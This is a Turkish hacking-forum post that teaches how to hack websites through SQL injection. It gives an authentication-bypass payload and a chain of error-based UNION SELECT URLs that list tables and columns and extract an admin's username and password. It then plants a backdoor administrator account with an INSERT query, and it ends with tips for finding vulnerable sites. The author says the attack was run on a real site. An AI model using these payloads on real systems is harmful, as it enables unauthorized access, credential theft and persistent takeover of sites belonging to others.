Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
SqL acikligi
#1
sql site hack
SQL Dökümanı
Sql injection en garanti hack yöntemlerinden biridir ve bi kalıbı yoktur.
tamamen hackerin çabasına bağlıdır. her sitdede sql injection tekniği değişir.
yani ezberleyerek yapma imkanınız sıfır. ama mantığını kapabilirseniz. sql
injection u çok kolay yapacaksınız
bide sql injection her sitede işler mantığı yanlıştır. sadece sql açığı olan
sitelerde geçer. ve maalesef çoğu sitede bu açıklar mewcuttur. pnp
nuke ,phpbb, vbulletin gibi önemli sistemlerin son versiyonlarında bile bu
açıklar saptanmış vede kullanılmıştıur. bu ve benzerlerinde hala keşfedilmemiş
sql açıkları olduğpundan hiç şüpheniz olmasın.
inşAllah bu yazıyı dikkatli okuyan herkes sql injection işini yapamasada
matığını kapacaklardır.mantığını kaptıktan sonra iş pratiğe kalıyor. uğraşıp
denyeceksiniz. mutlaka er yada geç bu işi yaparsınız. dediğim gibi iş mantığını
kapmakta.
şimdi ilk önce sql den başlayalım.
Sql nedir?
arkadaşlar sql bir weritabanı değildir. veritabanı programlama dilidir. bunu ilk
önce bilelim.
mesela phppnuke de nuke.sql diye bi doya wardır. bu sql ile yazılmış bir
weritabanı wardır. içine tablolar wardır. mesela sen phpnukeye user ve pas.
ını yazıp login olduğunda sql areacılığıyla site nuke.sql veritabanında users
tablosuna (tablo adını attım) bakar. girdiğin kullanıcı adı we şifre uyuşuyorsa
giriş yapar. değilse hata verir. yani sql dili aracılığıyla weritabanıyla kullanıcı
arasında ilişki kurar.
biz bu ilişkideki açıkları kullanacağız. en yaygın kullanılan veritabanları
microsoft sql ve unix mysql dir. sql hakkında bu kadar önbilgi şimdilik yeter.
şimdi sql de sorgulamalar (yani veritbanı ile bağlantılar) nasıl yağılır onu
inceleyelim.
Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir
sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye
doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde
gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve
bu kodlar webmaster tarafından yazılır.
Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini
istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim
yerimize asp ya da php kodları yapar.yani mesela arama kutucuğuna asus
yazıp ara dediğimiz zaman asp veya phpo sayfası veritabanına şöyle bir
sorgu gönderir : git markalar tablosundan marka_id=asus olanları seç listele
getir. (bu kodlar tabiki bu şekilde türkçe değil sql dilinde olur cheesygrin )
şimdi sql injection a bi giriş yapalım.
sql injection yaparak amacımız bu tür sorguları asp veya php kodlarını
otomatik olarak girmesi değil de kendimiz manuel olarak girmeyi amaçlıyoruz.
mesela bi siteye şöyle bi sql sorgusu gönderiyoruz : eyy sql denen şey git
bana users tablosundan user_id=admin olan kullanıcıların password
sutunundaki bilgileri listele getir. oda bize site adminin şifresini gwetirir. cheesygrin
şimdi hangi sitelerde sql açığı war bunu nasıl öğrenebiliriz onu incelşeyelim.
normalde rastgele bi sitede direkt böyle bir sql sorgusu gönderirsek sonuç
alamayız. açığı olan bi site bulacaz. nasıl. tabiki siteleri deniycez. siteye saçma
yasak bir sql sorgusu gönderecez o da haliyle bize bi hata mesajı werecek.
biz bu hata mesajını inceleyip içinden bazı ipuçları bulmaya çalışcaz.
mesela örnek werirsek bi sitede kullanıcı girişi yapılan bölüme kullanıcı adı ve
şifre bölümüne ’ or 1=1-- yazalım enter diyelim. sitede sql açığı warsa şöyle
bi hata vermesi lazım :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’users’ to a column of data type int.
/index.asp, line 11
ewet böyle bi hata aldık. bu bizim için çok iyi bi gelişme.
şunu merak ediyosunuzdur büyük ihtimalle biz neden bunu yaptık neden
sitenin hata wermesi bizim için iyi bi gelişmedir. manyak mıyız biz cheesygrin (cewap:
hayır değiliz.)
bunu yapmamızın sebebi arkadaşlar ahat mesajını incelerseniz göreceksiniz.
hata mesajında birtakım bilgiler açığa çıkmış durumda.
biz dedik ki yani giriş şartı hiç bişey olsun veya 1=1 durumları olsun (1 her
zaman 1 e eşit olduğundan herzman bu komut çalışır- hile yaptık yani)
verilen hata mesajının türkçesi şu:
users tablosunda eşleştirme yapmak için geçerli bi değer girmediniz.biz user
ve şifre girince sql weritabnında tabloda karşılaştırıyodu ve doğruysa giriş
yapıyodu ya. işte girdiğimiz ’ or 1=1-- değeri geçerli değildir diyo. sql da ’
tırnak işareti geçerli bir değer değildir. bu yazdığımız değer çok eski bi sql
açığıydı bunuda söyleyelim.
ewet şimdi kullanıcı adlarının users adında bi tabloda saklandığını öğrendik. bu
çok işimize yarıycak.
ewet aklınız karıştı galiba minik bi örnek werelim şimdi.
mesle sitede ’urunler’ adlı bi tablo war bu tablodan ’kitaplar’ adında bi iç tablo
war. biz burda ’urunler’ tablosundaki kitaplar tablosundaki bütün kayıtları
seçmek için sql de şöyle bir komut kullanırız.
SELECT * FROM urunler WHERE urunID=’kitaplar’
biz kitaplar adlı tablodan haberdar olmadığımız için şöyle bir komut girersek:
SELECT * FROM urunler WHERE urunID=’’ or 1=1--’
yani urunler in içinden urun id si boş olan veya urun id si 1=1 eşitliğini sağlayan
tabloyu getir diyoruz.
her şartda 1=1 olduğundan sql fake mizi yedi we yeni bi hata mesajıyla hiç
bilmediğimiz tabloların adını bize sunacaktıur cheesygrin
arkadaşlar şimdi adım adım sql injection yapalım.
şimdi bi site seçicez kendimize weritabanı kullanan bi site olması lazım.
Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi
birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize
sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım,
ancak domain ismini xxx ile değiştirdim.
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
gördüğünüz gibi sql komutları sayfanın adresinin sonuna enjekte edilir.
users.php?id=42 gibi ifadelerin sonuna yazacaz komutlarımızı. sql komut
mantığı böyle çalışır.
şimdi anlatalım biz burda ne komutu verdik:
INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü
veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz.
Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık.
INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu
gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise
adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini
bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve
en üstteki tabloyu sorgulatmaya çalışıyoruz.
UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik
ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT
TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir
ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri
string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için"
şöyle bir hata verecek.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar güzel bi hata aldık cheesygrin
bu hatayla biz tablodaki en üstteki tablonun adının adams olduğunu öğrendik.
geri kalan tabloları da aynı mantıkla öğrenecez. ama tek tek hepsine komut
göndermek uzun iş. şöyle bir komut gönderelim:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME LIKE ’%admin%’--
bu komutta biz git tablolardan ismi admi veya ona benzeyen bi tablo bul getir
dedik.
ve şöyle muhteşem bi hata alıcaz:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
ewet fewkelade bir hata aldık cheesygrin
artık adminlerin ve moderatorların saklandığı tablonun adının admins
olduğunuda biliyoruz.
şimdi şu komutu gönderelim:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME LIKE = ’admins’--
burda da admins tablosundaki ilk sutunun adını sorduk. şöyle bi hata aldık:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3güzell. ilk sutun logonid . mutlu sona yaklaşıyoruz cheesygrin
şimdi diğer sutunlarada göz atalım. şu komutu gönderiyoruz:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--
burda logon id den sonraki ilk tablonun adını sorduk. şu hata msjı geldi.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
diğer sütunun adı da logon muş.
bu şekilde dewam edersek tüm tabloların isimlerini bulabiliriz.
diğer sutunlarımızda password ve details olsun.
şimdi sutunları öğrendikten sonra kafamızda canlandıralım weritabanını.
admins diye bi tablo warmış. bunun içinde yöneticilerin bilgileri warmış. bilgiler
logonid logon password ve detail bilgileriymiş. sonra kırmızı başlıklı kıza
anneannesine giderkene.. öhö öhö dalmışım
neyse şimdi tabloları öğrendiğimize göre içinde cirit atabiliriz şöyle bi komt
yazalım:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 logon
FROM admins--
bu komutta admins tablosunun ilk kayıtındaki logon bilgisini bize gewtir dedik.
ve hata şöyle:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5
ewet adminimizin kullanıcı adı johny imiş.
şimdi şifre için şu komutu giriyoruz:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1
password FROM admins where logon=’ johny ’--
bu komutlada admins tablosunda logon bilgisi johny olan kaydın password
bilgisini getir diyoruz. şöyle bi manzarayla karşılaşıyoruz:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar. admin şifresi tabak gibi yazıyo: aeE2DbU cheesygrin
şimdi siteye admin girişi yapabiliriz.
adam çakarsa şifresini değiştirebilir. bunun önlemi,ni almak için admin
tablosunda yeni bi kullanıcı oluşutuyoruz. şu komutu kullanıyoruz:
http://www.xxx.com/index.asp?catid=3; INSERT INTO
’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES
(666,’admin’,’admin’,’NA’)--
ewet artık sitede kullanıcı adı admin ve şifresi admin olan bir admin daha var...
S1: Sql nedir? Niçin kullanılır?
C1: Sql bir veritabanıdır ve kullanıcıyla etkileşimi sağlayarak, istenilen bilgileri
sorgulama türüne göre kullanıcıya sunar. Veritabanlarında tablolar saklanır ve
bu tablolarda hakkında bilgi tutulmak istenen şeyler (üye,öğrenci, personel,
ürün vs. kayıtları) bulunur. En çok kullanılan veritabanları Microsoft SQL ve
Unix MySQL’dir.
S2: Sql’de sorgulama nasıl yapılır?
C2: Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir
sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye
doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde
gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve
bu kodlar webmaster tarafından yazılır. Bir alışveriş sitesinden mesela ASUS
marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış
oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.
S3: Sql enjeksiyonu nedir?
C3: Sql enjeksiyonu, veritabanlarının kullanıldığı sitelere kod açıklarından
faydalanarak yapılan komut girişleridir.Özellikle Asp ve php ile yapılmış ve
kötü olarak tasarlanmış (kod açısından) sitelerde sıkça sql enjeksiyonu
açığına rastlanır.
S4: Her asp ya da php sitesinde bu açık varmıdır? Yoksa nasıl bulacağım bu
açığı?
C4: Hayır, her asp ya da php sitesinde bu açık bulunmaz. Çünkü bu açığın
temeli webmaster’un kodlarda yaptığı bazı hatalara dayanır.Her webmaster
da bu açığa düşmez.Bu açığın bir sitede olup olmadığını öğrenmek için mesela
asp ile yapılmış bir sitenin kullanıcı girişinin olduğu herhangi bir alana (kullanıcı
ismi, arama alanı vs) ya da URL adresi kısmına ’ (tek tırnak) yazmanız yeterli.
Bu sayede SQL’i hata vermeye zorlarsınız. Eğer şuna benzer bir ODBC
hatası verirse, o siteye SQL enjeksiyonu yapılabilir:
Beğenenler:

Anahtar Kelimeler

SqL acikligi indir, SqL acikligi Videosu, SqL acikligi Online izle, SqL acikligi Bedava indir, SqL acikligi Yükle, SqL acikligi Hakkında, SqL acikligi Nedir, SqL acikligi Free indir, SqL acikligi Oyunu, SqL acikligi Download


1 Ziyaretçi